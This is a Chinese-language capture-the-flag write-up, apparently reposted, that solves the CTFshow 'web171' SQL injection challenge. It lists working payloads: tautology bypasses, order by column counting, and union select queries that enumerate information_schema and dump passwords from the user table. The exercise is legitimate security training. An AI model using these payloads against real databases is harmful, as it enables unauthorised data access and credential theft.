CTF秀WEB入門的SQL注入web171
繼續開啟全堆疊夢想之逆向之旅~
這題是 CTF秀WEB入門的SQL注入web171

打開容器,考察的是字符型注入,SQL的本質是拼接,所以我們也要用拼接做文章:

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
.
.
(這里積累第一個經驗)
可以看出它用條件過濾靜止顯示了flag,所以有兩種方法繞過:
第一種方法是改變條件, 通過條件覆寫,條件沖突之類的方法改變原條件中的禁止顯示flag的where username !=‘flag’ 限制,
第二種方法是改變物件,因為當前的where username !=‘flag’ 條件作用在它對應的select上面,所以我們可以通過拼接union select來創造另一個不受限制的select物件來繞過限制,
.
.
.
第一種方法改變條件:
附上我以前的筆記:

上面已經講得很清楚了,所以我們可以用下面的方法:
' || 1 --
' || true --
' or true --
' or 1 --
.
.
.
(這里積累第二個經驗)
第二種方法改變物件:union select創建新物件
首先了解information_schema.tables和information_schema.columns表有相同的重要欄位table_schema和table_name,所以我們查通過資料庫明查表明時可以直接使用information_schema.columns表一氣呵成,也可以交叉使用information.tables和information_schema.columns表,
下面’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ctfshow_web’ –
和
’ union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=‘ctfshow_web’ – 是等價的

' order by 3--
#(這里積累第三個經驗):這里mysql的#注釋符被禁了,會回顯資料介面請求例外:parsererror,所以只能用-- 注釋符了,order by num通過排序查看列的數量,試到了4就報錯了,所以是3列,可是select那里明明只挑username,password兩列,order by卻說明有3列,可能是有什么高級知識點我還沒涉及吧,也可能是他內部是另一條sql陳述句,
' union select 1,2,database() --
#題目username !='flag'說明flag就在當前資料庫和資料表中,就不用看其它表了,
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --
# 庫名是ctfshow_web,這里group_concat函式是為了在資料庫記憶體在多個表的情況下用把多個表名在一行上寫出來,
' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --
# information_schema.tables和information_schema.columns有同樣欄位table_schema和table_name,所以可以交叉使用,
' union select 1,2,password from ctfshow_user --
#只有條件中的字串才要加引號,這里不是條件的ctfshow_user不用加字串,
結果:

.
總結:
1:
(這里積累第一個經驗) 可以看出它用條件過濾靜止顯示了flag,所以有兩種方法繞過:第一種方法是改變條件, 通過條件覆寫,條件沖突之類的方法改變原條件中的禁止顯示flag的where username !=‘flag’ 限制,
第二種方法是改變物件,因為當前的where username !=‘flag’ 條件作用在它對應的select上面,所以我們可以通過拼接union select來創造另一個不受限制的select物件來繞過限制,
2:
(這里積累第二個經驗)
第二種方法改變物件:union select創建新物件首先了解
information_schema.tables和information_schema.columns表有相同的重要欄位table_schema和table_name,所以我們查通過資料庫明查表明時可以直接使用information_schema.columns表一氣呵成,也可以交叉使用information.tables和information_schema.columns表,
.
下面’ union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=‘ctfshow_web’ – 和’ union select 1,2,group_concat(table_name) frominformation_schema.columnswhere table_schema=‘ctfshow_web’ – 是等價的
3:
(這里積累第三個經驗):這里mysql的#注釋符被禁了,會回顯資料介面請求例外:parsererror,所以只能用-- 注釋符了,order by num通過排序查看列的數量,試到了4就報錯了,所以是3列,可是select那里明明只挑username,password兩列,order by卻說明有3列,可能是有什么高級知識點我還沒涉及吧,也可能是他內部是另一條sql陳述句,
解畢!敬禮!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/389358.html
標籤:區塊鏈
